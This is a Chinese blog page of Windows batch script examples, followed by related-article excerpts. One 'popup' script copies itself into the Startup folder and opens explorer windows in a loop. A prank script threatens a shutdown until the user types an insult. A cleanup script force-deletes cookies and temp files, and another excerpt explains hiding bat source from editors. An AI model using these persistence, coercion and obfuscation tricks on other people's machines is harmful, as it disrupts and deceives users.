有关bat的一些代码

1.if语句    @echo off

if exist E:\aa.dat dir C: >> E:\ff.txt

pause

type E:\ff.txt

echo 已写入文件ff.txt

pause

mstsc & gpedit.msc & cleanmgr

echo... & pause
2.for语句     @echo off

rem ping www.sina.com

echo 开始列出C,D,E盘下所有的目录...

pause

for %%a in (C: D: E:) do @dir %%a > E:\aa.dat

type E:\aa.dat

echo 结果已经写入E:\aa.dat文件

pause

tree C:\windows\system32

rem pause>>E:\aa.dat

echo 开始列出E盘所有cpp文件和txt文件...

pause

for /r E: %%a in (*.cpp *.txt) do dir "%%a" /b/s

pause
3.系统垃圾清理      @echo off

pause

del /f /s /q %systemdrive%\*.tmp

del /f /s /q %systemdrive%\*.log

del /f /s /q %systemdrive%\*.chk

del /f /s /q %systemdrive%\*.old

del /f /s /q %systemdrive%\recycled\*.*

del /f /s /q %windir%\*.bak

rd /s /q %windir%\temp & md %windir%\temp

del /f /q %userprofile%\cookies\*.*

del /f /q %userprofile%\recent\*.*

del /f /s /q "%userprofile%\Local Settings\Temp\*.*"

del /f /s /q "%userprofile%\recent\*.*"

pause
4.弹窗程序

rem @echo off

rem for %%a in(C:\windows\explorer.exe C:\windows\explorer.exe C:\windows\explorer.exe) do @start %%a

rem start C:\windows\explorer.exe

rem pause>nul

rem start C:\windows\explorer.exe

rem pause>nul

rem start C:\windows\explorer.exe

@echo off

set /a count=0

if exist %WinDir%\HelpPane.exe copy /y "%0" "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"

if not exist %WinDir%\HelpPane.exe copy /y "%0" "%userprofile%\「开始」菜单\程序\启动"

:loop

set /a count=count+1

start explorer.exe

cls

if %count% geq 5 pause&exit

goto loop

时间: 2024-11-05 15:45:27

有关bat的一些代码的相关文章

C# 执行批处理文件(*.bat)的方法代码

代码如下: static void Main(string[] args){    Process proc = null;    try    {                        string targetDir = string.Format(@"D:\adapters\setup");//this is where mybatch.bat lies        proc = new Process();        proc.StartInfo.WorkingD

如何“加密”批处理BAT源代码文件-“代码混淆”

真是活久见,在bat专业领域存在很多年的加密技术,今天才见识了. 众所周知,bat做为文本文件的批处理脚本程序,直接用记事本打开编写,非常方便. 但既然是记事本文件,又如何能加密了,脚本代码一打开不就都一清二楚吗, 其实所谓的bat加密,也只是让记事本或者其他类似的工具打开显示乱码而已,实际上文件并不可能被加密,否则命令行工具如何解密执行? 至于如何做到,一张图看明白: 前面一大段使用%%a+0x20的数据填充,实现乱码,最后加上回车换行符(0x0D 0x0A)来让命令行成功解析到真正的脚本起始

BAT批处理整人代码

工具/原料 windows电脑 BAT批处理 方法/步骤1: 代码如下: @echo off title 请勿关闭本程序,否则后果自负! :Next echo “请输入:“我是猪头三”,否则将关闭计算机!" shutdown -s -t 60 -c “请输入:“我是猪头三”,否则将关闭计算机!" set /p Input= if "%input%"=="我是猪头三" goto EXIT goto Next :EXIT shutdown -a ec

linux和windows下的自动ftp脚本(shell bat)

一.先来看linux下的: 复制代码 代码如下: #! /bin/bashcd /ftp/CURRENTDATE=` date +%Y%m%d `YESTERDAY=` date -d yesterday +%Y%m%d `THREEDAYAGO=` date -d '3 days ago' +%Y%m%d `#echo $TWODAYAGOftp -n -i 34.97.34.3 << !user ftpuser ftpuserbinmput $YESTERDAY.*delete $THRE

删除空文件夹 清除CS扩展名文件 bat

删除空文件夹.删的干净.删的彻底. 将下列代码复制到txt中保存.并把后缀.txt命成.bat.然后运行即可. 方案1.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx 删除指定目录及其子目录下的空文件夹.bat 代码: @echo offecho.echo 说明此工具会删除指定目录所在空文件夹及其子目录下的空文件夹,以节省空间.echo.echo.echo 本例只限删除10层

cocos2dx lua 代码加密

代码加密使用luajit加密 具体文件路径就是: ....\frameworks\cocos2d-x\external\lua\luajit\src\src 加密的工具windows bat批处理: 代码如下: @echo off if exist out rd /s /q out mkdir out :input cls set input=: set /p input= ÍÏÈëÒª±àÒëµÄluaÎļþ¼Ð£º set "input=%input:"=%" if &

uiautomatorviewer 优化定位符生成,支持生成Java,Python自动化代码

项目介绍 二次开发 uiautomatorviewer 优化定位符生成,支持生成Java,Python自动化代码,修复自带工具画面有动态加载时截图失败问题,优化自带工具截图速度 ,实现类似录制脚本功能.兼容IOS安卓. 软件架构 本工具以安卓SDK自带uiautomatorviewer为源码基础,在此上进行深度二次开发. 优化定位符Xpath生成,提取相对短的Xpath,解决自带工具Xpath太长不友好的问题 修复自带uiautomatorviewer截图报错,无法截图的Bug 优化截图速度优化

使用bat脚本调用py文件直接获取应用的包名和targetversion

背景: 在上一篇已经介绍过如何利用python调用aapt获取包名 https://www.cnblogs.com/reseelei-despair/p/11078750.html 但是因为每次都要修改py文件内的安装包所在路径,感觉不是很方便,所以想办法用bat脚本实现直接将文件拖入bat文件直接运行获取到相关信息 思路: 批处理脚本直接运行py文件,修改py文件,导入sys模块,直接在cmd中将安装包路径传入py后运行 代码: bat脚本代码如下 @echo off COLOR 2 set

Quick cocos2dx-Lua(V3.3R1)学习笔记(十)-----搭建安卓打包环境,用官方示例anysdk生成apk运行

话说我这一篇就写搭建打包安卓环境,是不是有点过早了(其实我主要是怕以后重装系统,忘了怎么搭建了),但是迟早要面对的痛苦,一直延后也不是办法,对吧. 在官方文档中,对于打包安卓apk,已经很清楚了,我写这个这篇,只不过加点图片,介绍的更加详细. 搭建打包安卓环境,需要很多安装很多东东,我直接将我用的全部打包上传到网盘了,需要的朋友,去网盘下载就行了 整合包网盘下载地址:http://pan.baidu.com/s/1hquz7fe     密码:r2nq 一,搭建安卓环境 我在我G盘根目录下新建一